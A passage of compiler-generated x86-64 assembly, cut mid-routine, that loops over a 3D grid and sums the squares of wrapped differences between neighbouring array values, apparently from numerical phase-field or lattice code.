movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -172[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -88[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
movsx rdx, eax
mov eax, 1
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -172[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -80[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov eax, DWORD PTR -172[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, rdx
sub rax, rcx
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -72[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov eax, DWORD PTR -172[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, rdx
sub rax, rcx
lea rdx, 8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -64[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
sub rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -172[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -56[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
mov rdx, -8
sub rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -48[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, 1
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -40[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
add edx, edx
movsx rdx, edx
sub rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -172[rbp]
movsx rdx, edx
sub rax, rdx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -32[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
add edx, edx
movsx rdx, edx
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -172[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
add edx, edx
movsx rdx, edx
sub rax, rdx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -172[rbp]
movsx rdx, edx
sub rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -16[rbp], xmm0
movsd xmm0, QWORD PTR -112[rbp]
movapd xmm1, xmm0
mulsd xmm1, xmm0
movsd xmm0, QWORD PTR -104[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -96[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -88[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -80[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -72[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -64[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -56[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -48[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -40[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -32[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -24[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -16[rbp]
mulsd xmm0, xmm0
addsd xmm0, xmm1
mov rax, QWORD PTR -128[rbp]
movsd QWORD PTR 16[rax], xmm0
.L142:
add QWORD PTR -128[rbp], 64
add QWORD PTR -120[rbp], 8
add DWORD PTR -140[rbp], 1
.L141:
mov eax, DWORD PTR -172[rbp]
sub eax, 1
cmp DWORD PTR -140[rbp], eax
jl .L143
mov eax, DWORD PTR -136[rbp]
sub eax, DWORD PTR -172[rbp]
cdqe
add rax, 2
sal rax, 6
add QWORD PTR -128[rbp], rax
mov eax, DWORD PTR -136[rbp]
sub eax, DWORD PTR -172[rbp]
cdqe
add rax, 2
sal rax, 3
add QWORD PTR -120[rbp], rax
add DWORD PTR -148[rbp], 1
.L140:
mov eax, DWORD PTR -180[rbp]
sub eax, 1
cmp DWORD PTR -148[rbp], eax
jl .L144
.L134:
mov rax, QWORD PTR -192[rbp]
mov eax, DWORD PTR 16[rax]
cmp eax, 1
jne .L156
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -160[rbp]
add rax, rdx
mov QWORD PTR -120[rbp], rax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, 1
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -168[rbp]
add rax, rdx
mov QWORD PTR -128[rbp], rax
mov DWORD PTR -144[rbp], 1
jmp .L146
.L150:
mov DWORD PTR -140[rbp], 1
jmp .L147
.L149:
mov rax, QWORD PTR -128[rbp]
movzx eax, BYTE PTR 25[rax]
test al, al
jne .L148
mov rax, QWORD PTR -120[rbp]
sub rax, 8
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
add rax, 8
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -112[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -172[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -132[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -96[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
mov rdx, -8
sub rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -88[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
movsx rdx, eax
mov eax, 1
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -80[rbp], xmm0
mov eax, DWORD PTR -132[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rcx, edx
sub rax, rcx
mov rdx, rax
mov eax, DWORD PTR -172[rbp]
movsx rcx, eax
mov rax, rdx
sub rax, rcx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rdx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -72[rbp], xmm0
mov eax, DWORD PTR -132[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rcx, edx
sub rax, rcx
mov rdx, rax
mov eax, DWORD PTR -172[rbp]
movsx rcx, eax
mov rax, rdx
sub rax, rcx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -64[rbp], xmm0
mov eax, DWORD PTR -132[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rcx, edx
sub rax, rcx
mov rdx, rax
mov eax, DWORD PTR -172[rbp]
movsx rcx, eax
mov rax, rdx
sub rax, rcx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -56[rbp], xmm0
mov eax, DWORD PTR -132[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -48[rbp], xmm0
mov eax, DWORD PTR -132[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -40[rbp], xmm0
mov eax, DWORD PTR -132[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rcx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -172[rbp]
movsx rdx, edx
sub rax, rdx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -32[rbp], xmm0
mov eax, DWORD PTR -132[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rcx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -172[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
mov eax, DWORD PTR -132[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rcx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -172[rbp]
movsx rdx, edx
sub rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -16[rbp], xmm0
movsd xmm0, QWORD PTR -112[rbp]
movapd xmm1, xmm0
mulsd xmm1, xmm0
movsd xmm0, QWORD PTR -104[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -96[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -88[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -80[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -72[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -64[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -56[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -48[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -40[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -32[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -24[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -16[rbp]
mulsd xmm0, xmm0
addsd xmm0, xmm1
mov rax, QWORD PTR -128[rbp]
movsd QWORD PTR 16[rax], xmm0
.L148:
add QWORD PTR -128[rbp], 64
add QWORD PTR -120[rbp], 8
add DWORD PTR -140[rbp], 1
.L147:
mov eax, DWORD PTR -172[rbp]
sub eax, 1
cmp DWORD PTR -140[rbp], eax
jl .L149
sub QWORD PTR -128[rbp], -128
add QWORD PTR -120[rbp], 16
add DWORD PTR -144[rbp], 1
.L146:
mov eax, DWORD PTR -176[rbp]
sub eax, 1
cmp DWORD PTR -144[rbp], eax
jl .L150
mov eax, DWORD PTR -132[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rcx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -160[rbp]
add rax, rdx
mov QWORD PTR -120[rbp], rax
mov eax, DWORD PTR -132[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rcx
add rax, 1
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -168[rbp]
add rax, rdx
mov QWORD PTR -128[rbp], rax
mov DWORD PTR -144[rbp], 1
jmp .L151
.L155:
mov DWORD PTR -140[rbp], 1
jmp .L152
.L154:
mov rax, QWORD PTR -128[rbp]
movzx eax, BYTE PTR 25[rax]
test al, al
jne .L153
mov rax, QWORD PTR -120[rbp]
add rax, 8
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
sub rax, 8
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -112[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -172[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -132[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -96[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
mov rdx, -8
sub rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
